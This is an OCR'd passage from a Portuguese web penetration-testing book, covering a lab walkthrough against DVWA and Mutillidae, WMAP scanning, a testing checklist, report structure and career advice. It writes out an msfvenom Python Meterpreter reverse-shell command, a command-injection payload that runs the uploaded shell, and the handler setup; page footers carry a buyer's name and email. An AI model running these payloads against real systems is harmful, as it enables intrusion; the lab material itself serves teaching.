caso, ndo é natural que se tenha exploits prontos para utilizagao, e
vulnerabilidades nesses sistemas ndo constam em listas como
CVEs.

Como o Metasploit possui um conjunto de exploits prontos,
podemos ter a impressdo de que suas exploragdes ndo podem ser
adaptadas para um sistema customizado. Isso é uma impressdo
errada, porque podemos usar os payloads disponiveis no
Metasploit por meio da ferramenta msfvenom .

O msfvenom ¢é conhecido como o Metasploit na linha de
comando, ou seja, ndo é necessario entrar dentro do terminal do
Mestaploit para usar os seus recursos. O comando msfvenom ¢é
usado para gerar e reproduzir os modulos do Metasploit, o que
permite incorporarmos recursos do Metasploit em uma exploragao
customizada, na qual tivemos nds mesmos que desenvolver o
exploit, por exemplo.

Vocé pode se perguntar como é que passaremos as opgoes
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necessarias para cada script. Sabemos, por exemplo, que os
payloads reversos precisam de opg¢des, como LHOST e LPORT .
Essas opgoes sdo passadas como parametros para o msfvenom ,
juntamente com outras opgdes que apontaram para O recurso
utilizado.

Para testar o poder dessa ferramenta, vamos explorar uma
funcionalidade ja vista do DVWA, a inje¢do de arquivos. Como ja
sabemos que a vulnerabilidade existe, podemos usar os recursos do
Metasploit para explora-la. Acesse 0 link
http://10.0.0.1/dvwa/vulnerabilities/upload/ e vamos nessa.

No terminal do Kali, vamos elaborar um arquivo Python com o
payload do Meterpreter reverso usando a op¢ao -p . Como
sabemos que o payload precisa do LHOST e LPORT para sua
execu¢do, vamos informar também os dados de IP e porta. Além
disso, temos que informar um arquivo .py de saida na opgao -
o . A seguir, veja o comando usado para fazer o payload.

msfvenom -p python/meterpreter/reverse_tcp LHOST=10.0.0.2 LPORT=4
444 -0 shell.py

Caso nao lembre os caminhos para os payloads e quais opgoes
preencher, vocé pode usar os comandos msfvenom -1 payloads
para  listar 0s payloads e msfvenom -p
php/meterpreter/reverse_tcp --list-options para listar as
opgdes as quais vocé deve atribuir um valor. Com tudo certo,
teremos um arquivo como o seguinte.
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(  import ')}.b64decode( import (
.getencoder(

Figura 10.32: PHP gerado.

Como vocé pode notar, esse arquivo é o que devemos submeter
para upload. Vamos realizar o mesmo procedimento que fizemos
no capitulo 5, no qual falamos sobre ataque LFI, e submeter o
arquivo shell.py para a funcionalidade do DVWA.

Vulnerability: File Upload

Choose an image to upload:
Browse... No file selected.

Upload

../../hackable/uploads/shell.py succesfully uploaded!

Figura 10.33: Upload do shell.

Agora, como o payload ¢ feito em Python, vamos ter que usar
uma combina¢do de vulnerabilidades. Inclusive fizemos em
Python para que vocé veja que as vulnerabilidades podem ser
combinadas em um ataque. Vamos usar a injecdo de comandos,
também ja abordada, para executar o nosso script Python com o
shell Meterpreter. Para isso, acesse
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http://10.0.0.1/dvwa/vulnerabilities/exec/ e submeta o seguinte
texto para exploragao: ;python
../ ../hackable/uploads/shell.py .

= Damn Vulnerable Web # X+

B> X & © & 10.0.0.1

Home Vulnerability: Command Exect

Instructi =
Lt Ping for FREE
Setup

Enter an IP address below:

% :python .1 /hackable/uploads/shell.py& submit

Figura 10.34: Injegdao de comando para usar o shell Python.

Nada aconteceu, apenas um provavel travamento. Por que
sera? Bom, no comando msfvenom , nés informamos o IP do
nosso Kali e a porta 4444 para que a conexdo seja enviada; no
entanto, nds estamos esperando essa conexao? Pelo jeito, nao!

E agora que vamos ter que usar o médulo de servidor do
Metasploit. Entre no Metasploit com o comando msfconsole e
digite use exploit/multi/handler para entrar no script que
esperara a conexao. Além disso, algumas configuragdes sao
necessarias.

No script de handler, devemos definir o nosso IP que recebera
a conexdo e a porta. No caso da porta 4444, ndo seria necessario
porque ela é a padrio. Além disso, precisamos definir de qual
payload vamos receber a conexdo. Ele deve ser o mesmo aplicado
no msfvenom . Apos essas configuragdes, basta executar com run

e temos que ter algo semelhante a figura abaixo.
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msf6 > use exploit/multi/handler
Using configured payload generic/shell_reverse_tcp
msf6 exploit( ) > set lhost 10.0.0.2
lhost = 10.0.0.2
msf6 exploit( ) > set lport 4444
lport = 4444
msf6 exploit( ) > set payload python/meterpreter/reverse_tcp

payload = python/meterpreter/reverse_tcp
msf6 exploit( ) > run

Started reverse TCP handler on 10.0.0.2:4444

Figura 10.35: Configurando o handler.

Com o servidor ja funcionando corretamente, podemos
executar nosso codigo de exploragdo na pagina de injecdo de
comandos e receber o tio esperado shell Meterpreter para nossas
acoes.

Started reverse TCP handler on 10.0.0.2:4444

Sending stage (39392 bytes) to 10.0.0.1

Meterpreter session 1 opened (10.0.0.2:4444 — 10.0.0.1:35927) at 202
1-07-14 15:21:51 -0400

meterpreter > |

Figura 10.36: Exploragao de sucesso.

Com isso, realizamos a nossa exploracdo web customizada.
Como visto, apenas o dominio da ferramenta néo ¢é suficiente, pois
em muitos casos, teremos técnicas manuais de exploragdo como a
aprendida nesta segdo. Para realizar uma exploragao que exige uma
a¢do mais minuciosa, temos que conhecer bem os conceitos que as
envolvem.

Nesse contexto, o Metasploit deve ser encarado como uma

forma eficiente para fazer a exploragio e ndo como uma
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dependéncia do teste de invasao.

10.8 OUTRAS FUNCIONALIDADES
INTERESSANTES

O Metasploit é um framework utilizado para pentest em geral,
entdo existem diversas outras funcionalidades que estdo fora do
escopo deste livro. No entanto, para lhe passar uma nocgéo e, até
mesmo, para vocé se motivar a buscar mais sobre o assunto, falarei
de alguns aspectos importantes que envolvem essas
funcionalidades, mas sem entrar muito nos detalhes.

7

Uma das funcionalidades possiveis é a de elevagio de
privilégios e esse é um conceito facil de entender. Note que, apos
nossas exploragdes, vimos que obtivemos acesso ao usuario www-
data . Esse usudrio pode acessar uma quantidade limitada de
recursos e também pode realizar poucas agdes. Diante desse
cendrio, a elevagdo de privilégios é uma técnica que, quando bem-
sucedida, permite que vocé acesse usudrios com um poder maior
sobre o sistema, inclusive com privilégios de administragdao, como

O root.

A persisténcia também é um aspecto muito importante a ser
considerado. Imagine que vocé perde a conexdo com o alvo porque
a internet caiu ou por qualquer outro motivo. Se vocé tiver
empregado as técnicas para realizar a persisténcia, vocé podera
obter a sessio novamente sem precisar repetir a exploracio. O
Metasploit oferece isso também.

Além do mais, vocé pode precisar camuflar mais ainda o uso
dos seus payloads, o que é necessario para fazer o bypass de

248  10.8 OUTRAS FUNCIONALIDADES INTERESSANTES
E-book gerado especialmente para Junior Andreucci - acer_pcl23@outlook.com



algumas solugdes de seguranga. Contornar as solugdes de
seguranca ¢ uma habilidade necessaria quando o objetivo é testar
uma infraestrutura completa. Nesse cendrio, vocé podera
encontrar ativos, como os firewalls de aplicagdo, que podem
realizar diversos bloqueios caso vocé rompa uma das regras
predefinidas. Usando técnicas de ofuscagdo, vocé pode ampliar a
sua exploragdo para atingir diversos ativos de rede, servidores e
evadir dos ativos de seguranga.

10.9 VARREDURA AUTOMATIZADA COM O
METASPLOIT WMAP

O Metasploit possui também um recurso que permite ativar
funcionalidades extras. Uma dessas funcionalidades é o WMAP.
Trata-se de uma forma de wusar recursos do Metasploit
automaticamente para encontrar vulnerabilidades.

Sabemos de antemdo que varreduras automatizadas tém suas
limitagdes, no entanto, em alguns contextos, é interessante utilizar,
até mesmo de forma prévia. Isso porque, se o scanner ja detectar
vulnerabilidades na forma automatica, isso pode facilitar nosso
trabalho, que sera apenas de valida-las. Todo recurso ¢ util quando
se trata de ganhar tempo e aumentar a eficiéncia dos testes de
seguranca.

A primeira agdo que devemos fazer, antes mesmo de entrar no
msfconsole , é executar o comando service postgresql
start para iniciar o servico do SGBD PostgreSQL, que ¢
necessario para algumas funcionalidades. Depois execute o
comando msfdb init para o Metasploit criar um banco de dados

proprio.
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:~# service postgresql start
:~# msfdb init

[i] Database already started
[+] Creating database user 'msf'
[+] Creating databases 'msf’

Figura 10.37: Preparagao para o uso do WMAP.

Feitas essas acOes prévias necessarias, execute o comando
msfconsole e, quando ja estiver no terminal, carregue a
funcionalidade do WMAP com o comando load wmap .

msf6 > load wmap

[WMAP 1.5.1] = et [ ] metasploit.com 2012
Successfully loaded plugin: wmap

Figura 10.38: Carregando o WMAP.

Agora, com essa funcionalidade carregada, se vocé usar o
comando help , vera uma nova classe de comandos que podem

ser utilizados.

msf6 > help

wmap Commands

Command Description

wmap_modules Manage wmap modules
wmap_nodes Manage nodes
wmap_run Test targets
wmap_sites Manage sites
wmap_targets Manage targets
wmap_vulns Display web vulns

Figura 10.39: Classe de comandos WMAP.

250 10.9 VARREDURA AUTOMATIZADA COM O METASPLOIT WMAP
E-book gerado especialmente para Junior Andreucci - acer_pcl23@outlook.com



Conhecendo o conjunto de comandos que estd ao nosso
dispor, vamos fazer o simples, sem muita enrolagdo. O primeiro
passo de uma varredura automatizada é saber em qual HOST
vamos realizar os escaneamentos. Entdo vamos apontar para a raiz
do servidor alvo, para realizar o teste. Temos que passar a URL raiz
do servidor como paridmetro do comando wmap_sites -a

http://10.0.0.1 .

msf6 > wmap_sites -a http:
Site created.

msf6 > wmap_sites -1
Available sites

Id Host Vhost Port Proto # Pages # Forms

0 10.0.0.1 10.0.0.1 80 http 0 0

Figura 10.40: Definindo escopo de teste.

Como visto na figura, também utilizamos o comando
wmap_site -1 para listar todos os servidores na lista de teste.
Agora devemos adicionar o diretério do sistema Mutillidae, que
serd o nosso alvo e para isso usamos o comando wmap_targets -
t http://10.0.0.1/mutillidae/ .

msf6 > wmap_targets -t http://10.0.0.1/mutillidae/
msf6 > wmap_targets -1
Defined targets

Id Vhost Host Port SSL Path

10.0.0.1 10.0.0.1 80 false /mutillidae/

Figura 10.41: Definindo alvo.
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Da mesma forma que o comando wmap_sites -1 , o
comando wmap_targets -1 também exibe os itens, mas, dessa
vez, exibe os que serdo realmente alvo do teste automatizado. Com
isso, use o comando wmap_run -t para carregar os scritps do
Metasploit que serdo usados no teste automatizado.

msf6 > wmap_run -t
Testing target:
Site: 10.0.0.1 (10.0.0.1)
Port: 8@ SSL: false

Testing started. 2021-07-14 22:10:45 -0400
Loading wmap modules ...

Figura 10.42: Carregando os médulos.

Agora, com tudo certo e carregado, podemos disparar o teste

automatizado contra o nosso alvo com o comando wmap_run -e .

msf6 > wmap_run -e
Using ALL wmap enabled modules.
NO WMAP NODES DEFINED. Executing local modules
Testing target:
Site: 10.0.0.1 (10.0.0.1)
Port: 80 SSL: false

Testing started. 2021-07-14 22:16:59 -0400

=[ SSL testing

Target is not SSL. SSL modules disabled.

=[ Web Server testing ]=
Module auxiliary/scanner/http/http_version

[+] 10.0.0.1:80 Apache/2.2.14 (Ubuntu) mod_mono/2.4.3 PHP/5.3.2-lubuntu4.

Figura 10.43: Executando o teste.

Depois, basta apenas ver as vulnerabilidades encontradas com
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o comando wmap_vulns -1 .

msf6 > wmap_vulns -1
+ [10.0.0.1] (10.0.0.1): scraper /

scraper Scraper
GET owaspbwa OWASP Broken Web Applications

[10.0.0.1] (10.0.0.1): file /.svn/entries
file SVN Entry found.
GET Res code: 403

[10.0.0.1] (10.0.0.1): directory /doc/
directory Directory found.
GET Res code: 403

[10.0.0.1] (10.0.0.1): directory /1/
directory Directory found.
GET Res code: 503

[10.0.0.1] (10.0.0.1): directory /0001/
directory Directory found.
GET Res code: 503

Figura 10.44: Relatorio final.

Pode ser que vocé me diga que os testes automatizados nao
foram muito reveladores e com certeza ndo sdo. Os testes desse
tipo costumam ser bem superficiais e, por isso, vocé nao deve se
limitar a eles, apenas utiliza-los em uma primeira instincia para
avaliagdo do sistema, sem depender exclusivamente de sua analise.

Esta se¢do encerra o conteido sobre Metasploit. Agora, é com
vocé. Pratique!

Consideracoes finais do capitulo

Este capitulo apresentou brevemente o poder o Metasploit e o
ganho de eficiéncia ao aplica-lo no contexto de testes de invasao
em aplicagoes web. O Metasploit é muito conhecido quando se fala
em testes de infraestruturas, mas, neste capitulo, vimos que ele tem
muito a oferecer para os testes web também.
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Trata-se de uma ferramenta imensa, da qual vimos apenas uma
parte - a que mais nos interessava para nossos propdsitos. Caso
vocé deseje saber mais sobre Metasploit e seus payloads,
recomendo o curso gratuito da Offsec no link
https://www.offensive-security.com/metasploit-unleashed. Isso
sera 6timo para sua vida profissional caso queira seguir na area.
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CapiTuLo 11

FINALIZACAO DOS
TRABALHOS

Como tudo na vida, os testes de invasdo também tém um fim.
No entanto, esse fim ndo ¢ uma atividade que exija pouco
empenho. Essa etapa, por exigir a produgdo de relatorios,
geralmente é a que os profissionais de seguranga menos gostam de
realizar.

Essa fase é fundamental para agregar valor ao teste de invasao e
mostrar a importancia dos fatos. Por isso, ao longo do livro,
sempre foi incentivado o uso de ferramentas que trariam um
requinte a mais para a apresentacdo dos dados nessa fase.

Além de mostrar o relatorio neste capitulo final, deixarei para
vocé uma metodologia que costumo seguir em meus testes de
invasdo. Talvez parte das abordagens que estdo ali vocé ndo tenha
visto o suficiente, mas isso é normal, a seguranca ofensiva exige um
aprendizado constante.

Por isso, também teremos aqui uma se¢io, além das referéncias
utilizadas, que dard sugestdes de como adquirir mais
conhecimento e se tornar pentester caso esse seja seu objetivo.
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11.1 UMA PROPOSTA DE PASSO A PASSO
PARA SEGUIR NOS TESTES DE INVASAO

A seguir, encontra-se um roteiro das verificagdes a serem
realizadas durante o teste de vulnerabilidades de aplicacao web.

Ferramentas automatizadas podem ser utilizadas para a
verificagdo dos itens aqui citados, configurando-as para execugdo
de testes mais ou menos intrusivos, a depender do tempo
disponivel para o teste e do escopo acordado com o administrador
do sistema.

De qualquer maneira, com base na saida da ferramenta

automatizada, ¢é necessaria a verificagdo manual das
vulnerabilidades indicadas para se evitar falsos positivos.

Os testes listados abaixo foram baseados no OWASP Testing
Guide v4.2 e também na metodologia proposta no livro The web
application hackers handbook: Finding and exploiting security flaws
do autor Dafydd Stuttard.

Vale ressaltar que as técnicas aqui sugeridas sao uma referéncia
para que a pessoa analista possa se basear no planejamento do
teste. A depender de cada cenario, nem todos os testes serdo
necessarios.

Roteiro de testes

1. Reconhecimento
i. Buscar em fontes abertas as informagdes vazadas.
ii. Escanear o servidor web.

ili. Verificar arquivos do servidor web em busca de
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iv.

Vi
vil.
viii.

ix.

Xi.

Xii.

xiii.

Xiv.

exposi¢ao de informagoes.

Enumerar sistemas hospedados no servidor web.
Verificar comentdrios e metadados da pagina web.
Identificar pontos de entrada de dados da aplicagao.
Mapear estrutura de diretdrio e arquivos.

Identificar os frameworks utilizados.

Mapear a arquitetura da aplicacao.

Verificar a configuragao de infraestrutura do sistema.
Verificar a configuragao da aplicagao.

Verificar se ha arquivos antigos, de backup e arquivos
nao referenciados em busca de informagdes sensiveis.
Enumerar  infraestrutura e  interfaces de
administra¢do da aplicagdo.

Mapear métodos HTTP e suas caracteristicas.

2. Testes de identidade

1.

ii.
iii.
iv.

V.

Vi.

Testar as definicbes de papéis desempenhados nos
sistemas.

Testar o processo de registro de usudrio.

Testar a enumeracio de contas com forca bruta.
Testar politicas fracas para senhas.

Testar permissoes das contas.

Testar a suspensao e reativacao de contas.

3. Testes de autenticac¢ao

i
ii.
iii.
iv.
V.
Vi.

vii.

Testar os métodos criptograficos usados.
Procurar se existem credenciais padrio.

Testar as politicas para bloqueio de contas.
Testar o sistema de autenticacao.

Testar a funcionalidade de recuperagio de conta.
Testar funcionalidades de redefinicio de senha.
Testar as formas alternativas de autenticagéo.
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4. Testes sobre mecanismos de autorizagao
i. Testar por inclusdo de arquivos e Path Traversal.
ii. Teste de autorizacdo entre usuarios.
iii. Verificar escalagdo de privilégios.
5. Testes de gerenciamento de sessao
i. Teste dos mecanismos de gerenciamento de sessao.
ii. Testar atributos de cookies.
iii. Teste de CSRF.
iv. Testar funcionalidade de logout.
v. Teste de expiragdo de sessdo.
6. Testes de validagao de entradas
i. Teste de XSS.
i. Testes de injegdao SQL.

—

iii. Teste para injegdo LDAP.
iv. Teste para injegdo XML.
v. Teste para inje¢ao XPath.
vi. Testes para injecdao de arquivos.
vii. Teste para inje¢ao de comandos.
7. Tratamento de erros
i. Andlise de codigos de erro.
8. Testes de Logica de Negocio
i. Testar a validacao da légica de negdcio.
ii. Testar defesas contra mau uso da aplicagio.
9. Testes do lado cliente
i. Teste de DOM based Cross Site Scripting.
ii. Teste de execucdo de JavaScript.
iii. Teste de injegao HTML.
iv. Teste de Client Side URL Redirect.
v. Teste de injegao CSS.
vi. Teste de Clickjacking.
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112 ITENS NECESSARIOS PARA O
RELATORIO FINAL

Quando identificadas e analisadas as vulnerabilidades das
aplicacoes web que estao dentro do escopo, deve ser elaborado um
relatorio com a descricio das atividades desenvolvidas, os
resultados obtidos e propostas de mitigagdo das vulnerabilidades
identificadas.

A seguir serao disponibilizados itens que devem ser citados em
seu relatdrio. Claro, os itens podem ser seguidos dependendo das
caracteristicas da organiza¢do que recebera esse relato. De um
modo geral, esse relatério pode ser usado em qualquer situagao e
representa bem o passo a passo dos testes de invasao.

Resumo executivo

Um resumo executivo deve descrever os objetivos especificos
do teste de invasdo e suas principais descobertas. Escrito como
uma visao geral e destinado as pessoas gestoras da organizagao,
deve-se concentrar no impacto nos negécios e descrever a postura
geral de seguranca, o risco e um resumo das recomendagdes.

Escopo

Dentro desta se¢do, vocé deverd informar todos os acordos
feitos antes do teste de invasdo. Listar os dominios, IP, sistemas ou
quais outros acessos que foram realizados durante o teste de
invasdo. Além disso, vocé devera informar todas as URLs
principais dos sistemas testados e, caso tenha tido credenciais
previamente para o teste ou quaisquer outras informacgdes, elas
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devem ser escritas aqui. Caso exista algum limite aos testes de
intruséo, essa informagdo também deve constar.

Coleta de informacgao

Na coleta de informagdo, devem ser apresentadas todas as
versOes de software utilizados que foram possiveis de obter com
escaneamentos. Também deve conter informacgdes que foram
encontradas em sites de terceiros que fazem referéncia ao sistema
testado. Caso usudrios dos sistemas tenham dados vazados, essa
informacgdo também possui valor e deve ser adicionada porque
pode afetar o sistema.

Vulnerabilidades

Para cada vulnerabilidade, vocé deve apresentar uma descrigao
e quais impactos podem ocorrer se a correcio nio for feita, de uma
forma mais ampla. Além disso, a pontuacdo CVSS, relativa a
severidade, deve estar clara e especialmente elaborada para a
vulnerabilidade. Vocé deve relatar o passo a passo do
procedimento usado para explora¢ao, contendo diversos prints de
tela exibindo agdes feitas. Por fim, proponha de uma forma
genérica o que é necessdrio para a corre¢do, mas ndo se prenda
muito a isso.

Consideracoes finais

Neste item, vocé pode relatar qualquer observa¢io que nio se
encaixe nos itens anteriores, mas que seja considerada de
importante conhecimento. Esta se¢ao deve conter uma sintese,

onde vocé deve fazer uma abordagem ao teste de uma forma geral

260 11.2 ITENS NECESSARIOS PARA O RELATORIO FINAL
E-book gerado especialmente para Junior Andreucci - acer_pcl23@outlook.com



e classificando-o de forma técnica, com base nos dados
apresentados durante todo o relatdrio de vulnerabilidades.

11.3 COMO CONTINUAR MEU
APRENDIZADO

Hoje, existem diversas plataformas on-line que contém
maquinas vulneraveis para testes. Nao recomendo que vocé entre
em programas de bug bounty com pouco conhecimento. Use
plataformas com madquinas vulneraveis para elevar suas
habilidades e s6 depois use o bug bounty para aperfeicoa-las e
quem sabe ganhar uma grana. Existem muitas vulnerabilidades na
maquina OWASP BWA que nao abordamos aqui, vocé pode
buscar atacar todas as funcionalidades dos sistemas e aprender
com isso.

As plataformas que possuem maquinas vulnerdveis sdo uma
excelente forma de ganhar conhecimento. Nao sou patrocinado
por nenhuma delas, mas, para o seu aprendizado, vou recomendar

claramente trés delas aqui: Hack the Box
(https://www.hackthebox.eu/), Try Hack Me
(https://tryhackme.com/) e Proving Grounds

(https://www.offensive-security.com/labs/individual/) da Offensive
Security, que usa maquinas do VulnHub
(https://www.vulnhub.com/).

Nessas plataformas, vocé consegue exercitar diversas
habilidades em diversas dreas que podem até mesmo extrapolar os
testes em web, mas tudo isso estard sob o seu controle. Aconselho
fortemente a prética nas plataformas que possuem versao gratuita,
pois elas podem ser muito bem aproveitadas para vocé aprofundar
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suas técnicas.

Além disso, ler os relatérios das plataformas de bug bounty é
uma dtima forma de adquirir conhecimentos que sao considerados
"fora da caixa". Sites como Bugcrowd (
https://www.bugcrowd.com/) e Hacker One
(https://www.hackerone.com/) sdo excelentes para isso. Nesses
relatdrios, vocé tem acesso as técnicas de explora¢des mais atuais
feitas no mercado e o valor de suas recompensas.

Outra forma de adquirir conhecimento e agregar valor as suas
habilidades ¢é investindo em cursos de empresas ja consolidadas na
area. Existem varias, no entanto as certificagdes da Offensive
Security (https://www.offensive-security.com/courses-and-
certifications/) sao as mais reconhecidas do mercado. Elas podem
ser consideradas um pouco caras, entdo, antes de fazer um
investimento desse, tenha certeza de que dara conta do recado.

Caso vocé se interesse por jogos, existe uma modalidade
chamada CTF (Capture The Flag). Esse pode ser considerado um
jogo de hackers, onde vocé pontua quando captura flags, que ficam
alocadas em cada servidor-alvo. Geralmente, a equipe que mais
pontua é a vencedora e pode receber diversos prémios e até
grandes oportunidades de emprego. Essas competi¢des acontecem
em eventos na area de seguran¢a e também de forma on-line.
Quem sabe vocé que estd lendo se torna um CTF player de sucesso!
O CTF é uma forma de aprender e se divertir a0 mesmo tempo,

entio boa sorte.

Por fim, na secdo de referéncias, ao fim deste livro, existem
diversos conteudos que embasaram este material. Caso deseje
aperfeicoar ainda mais, vocé pode adquirir algumas dessas leituras
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extras. Este livro faz uma abordagem ampla dos ataques
cibernéticos em aplicagdes web, sendo uma 6tima leitura de base.
Para vulnerabilidades mais comuns, foram dedicados capitulos
especificos juntos com diversas técnicas de exploragdo e isso vai
ajudar vocé a iniciar na drea com um grande arsenal para atuagao.
Ainda assim, considere a possibilidade de estudo mais profundo de
todas as vulnerabilidades citadas, pois essa rotina de estudos é
parte do trabalho do pentester.

11.4 CONCLUSAO

No decorrer deste livro, foram apresentadas diversas
vulnerabilidades que sdo muito conhecidas no mundo da
seguranca ofensiva, no entanto poucas pessoas as dominam com a
profundidade necessaria. Grande parte dos profissionais ¢é
limitada, pois apenas consegue explorar vulnerabilidades caso
exista alguma ferramenta que automatize o processo. Nesse
contexto, vocé ja estd a frente de muitos deles, ja que o livro
destinou capitulos inteiros a vulnerabilidades famosas e de grande
impacto. Essas vulnerabilidades exigem bastante requinte na hora
da elaboracao dos relatdrios porque elas agregam muito valor para

a atividade de testes de invasao.

Caso vocé seja um desenvolvedor ou uma desenvolvedora e
queira apenas ter um olhar diferente para a maneira como
desenvolve cddigos, este livro com certeza foi ttil para entender o
ponto de vista do atacante do seu sistema. Claro, ndo focamos nas
corregoes, entdo as mitigagdes nao estio dentro do escopo do livro,
mas com certeza vocé vera as possibilidades de ataque em cada
codigo que vocé escrever. Isso é algo que falta no desenvolvimento,
ja que nessa atividade nao se desenvolve a malicia necessaria para
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entender o comportamento hacker. Agora, apos essa leitura, vocé
deu um grande passo nesse entendimento e se tornou um(a)
profissional com uma visdo diferente e que sera muito vantajosa
para sua instituigdo.

Em outro caso, vocé pode ter lido este livro por querer
ingressar ou entender mais sobre a drea da seguranga ofensiva. Se
for isso, seja bem-vindo(a) a esse mundo. Desde o comego, com o
foco ofensivo e laboratdrios praticos, pude lhe passar uma visdo
bem ampla e eficaz de todo o processo da atividade. Nessa carreira,
vocé usara todos os conceitos aprendidos neste livro com uma
frequéncia bem alta, pois aqui estd 0 mais comum.

No entanto, este livro é apenas o come¢o e, caso queira
realmente se aperfeicoar na area, vocé tera que correr atras de
muito conteido. Essa ¢ uma desvantagem da drea, porque um
desenvolvedor pode conhecer profundamente algumas tecnologias
e seu trabalho sera feito, ja vocé terd que conhecer muito bem
muitas tecnologias diferentes, pois cada teste de invasdo pode
requerer conhecimentos totalmente distintos daqueles com que
vocé ja teve contato. Vocé deve ser capaz de executar suas
atividades independente da tecnologia utilizada, e isso obriga o
pentester a ter uma rotina de estudos constante.

Apesar de tratarmos sobre muitos ataques e diversas formas
eficazes de se explorar cada uma das vulnerabilidades, ressalto que
vocé ndo deve fazer isso se ndo possuir autorizacao expressa. Caso
vocé o faca, podera ser responsabilizado criminalmente e, com a
ascensdo de casos, crimes cibernéticos tendem a ser cada vez mais
penalizados. Este livro ndo o torna um criminoso cibernético e sim

um avaliador de seguranca de aplicagoes web. A Unica diferenga
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entre vocé e o criminoso serd a ética, entdo ndo se converta para o
mal.

Por fim, uma recomendagdo: procure sempre exercitar as
exploragdes que constam neste livro, das mais diversas formas
apresentadas, em ambientes diferentes da maquina OWASP BWA.
Quando trocamos o ambiente, algumas caracteristicas de
exploracaio mudam e vocé deve se adequar o maximo possivel,
estando preparado para essa situagdo que sempre ocorre.

Com isso, desejo a todos e a todas uma boa caminhada e
sucesso nessa nova etapa de sua vida profissional. Para quaisquer
informacdes extras, estou a sua disposicio pelo LinkedIn:
https://www .linkedin.com/in/jaajl6/.
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